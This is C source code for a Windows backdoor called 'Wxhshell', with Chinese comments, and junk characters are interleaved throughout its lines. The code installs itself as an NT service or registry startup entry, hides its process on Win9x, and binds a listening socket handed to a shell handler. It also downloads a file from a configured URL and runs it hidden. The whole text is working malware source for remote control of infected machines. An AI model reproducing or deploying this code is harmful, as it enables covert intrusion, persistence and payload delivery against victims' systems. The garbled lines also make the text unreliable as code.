} PROCESS_BASIC_INFORMATION; |Xw/E)jA
'}rRzD:
PROCNTQSIP NtQueryInformationProcess; t#S<iBAZ
ay
%KE=*v
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; <&!v1yR
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 7Su#Je]
*A~
G_0B
HANDLE hProcess; ;3
F"TH
PROCESS_BASIC_INFORMATION pbi; <HRBMSR+
FVKW9"AyW
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 8&Myva
if(NULL == hInst ) return 0; &bhq`>
9m-)Xdoy
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8v71e>
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 93<:RV
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); LPwT^zV&N
Uh'#izm[l
if (!NtQueryInformationProcess) return 0; (oJ9k[(
$46{<4.
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zh$}~RG[
if(!hProcess) return 0; k"N(o(
^T.E+2=>z
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; o0ZM[0@j
nkv(~ej(
CloseHandle(hProcess); 5VO;s1
.0G6flD
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); CdUAy|!`R
if(hProcess==NULL) return 0; N-g8}03
{} Bf
HMODULE hMod; uHIiH@S
char procName[255]; KIeT!kmDl
unsigned long cbNeeded;
5*\\J&H
kSc{^-<R
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); xBFJ} v
a,Gxm!
CloseHandle(hProcess); %hN.ktZ/s
4 V1bLm
if(strstr(procName,"services")) return 1; // 以服务启动 ,+;:3gRk9
@R m-CWa
return 0; // 注册表启动 %Rh;=p`
} -AYA~O(&
!WkIi^T
// 主模块 3@n>*7/E
int StartWxhshell(LPSTR lpCmdLine) +m}Pmi$
{ __@zT SVb
SOCKET wsl; < pTTo
BOOL val=TRUE; 3jogD
int port=0; E1&b#TE6O
struct sockaddr_in door; ICB~_O5
jEz+1Nl)
if(wscfg.ws_autoins) Install(); @=5qT]%U3J
AOp/d(vx5i
port=atoi(lpCmdLine); N4K8
u'f^
^+SkCO
if(port<=0) port=wscfg.ws_port; PS
S?|Vk
'O6]0l
WSADATA data; O8U<{jgAG
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; U6[ang'l
XI Jlc~2
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Zs2-u^3&
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I =Wc&1g
door.sin_family = AF_INET; %g]vxm5?
door.sin_addr.s_addr = inet_addr("127.0.0.1"); /$"[k2 N
door.sin_port = htons(port); }]UB;id'
f-2$
L
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 8_H=^a>2
closesocket(wsl); _)$PKOzbb
return 1; A\Txb_x
} @^ ik[9^H
Ovw[b2ii
if(listen(wsl,2) == INVALID_SOCKET) { WqrgRpM{
closesocket(wsl); MYe
HS
return 1; 2eQdQwX
} ?y XAu0
Wxhshell(wsl); %OcGdbs
WSACleanup(); Oq(VvS/
he+#Q6
return 0; (IbW;bV
[O
",
} vQ@2FZzu>
8iC:xcN3
// 以NT服务方式启动 2WvN2"f3
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w'7R4
{ lo&#(L+2
DWORD status = 0; W&"|}Pi/
DWORD specificError = 0xfffffff; n
uQM^2
T:asm1BC[
serviceStatus.dwServiceType = SERVICE_WIN32; 17g^ALs
serviceStatus.dwCurrentState = SERVICE_START_PENDING; pN[0YmY#
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; IO.<q,pP!_
serviceStatus.dwWin32ExitCode = 0; o**y Z2
serviceStatus.dwServiceSpecificExitCode = 0; %qsvtc`
serviceStatus.dwCheckPoint = 0; Zs zs1{t
serviceStatus.dwWaitHint = 0; sTHq&(hLUG
o=fgin/E\
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ;%q39U}
if (hServiceStatusHandle==0) return; Bz2'=~J
%1McD{
status = GetLastError(); ts9pM~_~
if (status!=NO_ERROR) j%Y\A~DV
{ BRG|Asg(
serviceStatus.dwCurrentState = SERVICE_STOPPED; Ek.&Sf$cd'
serviceStatus.dwCheckPoint = 0; B`#h{ )[
serviceStatus.dwWaitHint = 0; $<)Yyi>6E
serviceStatus.dwWin32ExitCode = status; ekf$dgoR
serviceStatus.dwServiceSpecificExitCode = specificError; }ublR&zlp
SetServiceStatus(hServiceStatusHandle, &serviceStatus); Y^ve:Z
return; K%KZO`gO
} 10sK]XI
}ZZ5].-a<D
serviceStatus.dwCurrentState = SERVICE_RUNNING; (d2@Mz
serviceStatus.dwCheckPoint = 0; q$ghLGz
serviceStatus.dwWaitHint = 0; ES:!Vx9t0|
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); @fn6<3
} &$fbP5uAZ
j,%EW+j$
// 处理NT服务事件,比如:启动、停止 T*q"N?/4
VOID WINAPI NTServiceHandler(DWORD fdwControl) !#D=w$@r:
{ bNzqls$
switch(fdwControl) W,hWOO
{ vrl[BPI
case SERVICE_CONTROL_STOP: Vj^dD9:
serviceStatus.dwWin32ExitCode = 0; s'a= _cN
serviceStatus.dwCurrentState = SERVICE_STOPPED; ;\)=f6N
serviceStatus.dwCheckPoint = 0; uf) Oy7FQ
serviceStatus.dwWaitHint = 0; GaNq2 G
{ !DjT<dxf
SetServiceStatus(hServiceStatusHandle, &serviceStatus); f_r0})
} \x\.
return; uVU`tDzd:
case SERVICE_CONTROL_PAUSE: h#f&|*Q5m
serviceStatus.dwCurrentState = SERVICE_PAUSED; 4B O %{
break; @6xGJ,s
case SERVICE_CONTROL_CONTINUE: +QqH}=
M
serviceStatus.dwCurrentState = SERVICE_RUNNING; Zy]s`aa
break; @]
.VQ<X|0
case SERVICE_CONTROL_INTERROGATE: {/M\Q@j
break; \gKdDS
}; sB*o)8
SetServiceStatus(hServiceStatusHandle, &serviceStatus); MR9/Y:Nm
} x6yW:tUG5
,r+"7$
// 标准应用程序主函数 Etnb3<^[t
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ?g}kb
{ >2-F2E,
F$6?t.@J
// 获取操作系统版本 eO4)|tW
OsIsNt=GetOsVer(); !ng\`
|8?
GetModuleFileName(NULL,ExeFile,MAX_PATH); j]> uZalr
!;}2F-
// 从命令行安装 P\B3
y+)
if(strpbrk(lpCmdLine,"iI")) Install(); LdTIR]
,?b78_,2
// 下载执行文件 /mbCP>bcG
if(wscfg.ws_downexe) { 5j[#'3TSU
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) Sb<\-O14"
WinExec(wscfg.ws_filenam,SW_HIDE); _-a|VTM
} QPg2Y<2
U~QMR-bz
if(!OsIsNt) { E[S' :Q
// 如果时win9x,隐藏进程并且设置为注册表启动 5d
5t9+t
HideProc(); O3_B<Em
StartWxhshell(lpCmdLine); a&5g!;.
} Va9q`XbyO
else V<0$xV1b|=
if(StartFromService()) d(l|hmj4j9
// 以服务方式启动 ofwQ:0@
StartServiceCtrlDispatcher(DispatchTable); qC
j*>D
else *wUdC
// 普通方式启动 @l,{x|00
StartWxhshell(lpCmdLine); q+/l"&j.
BjD&>gO)
return 0; [@.B4p
}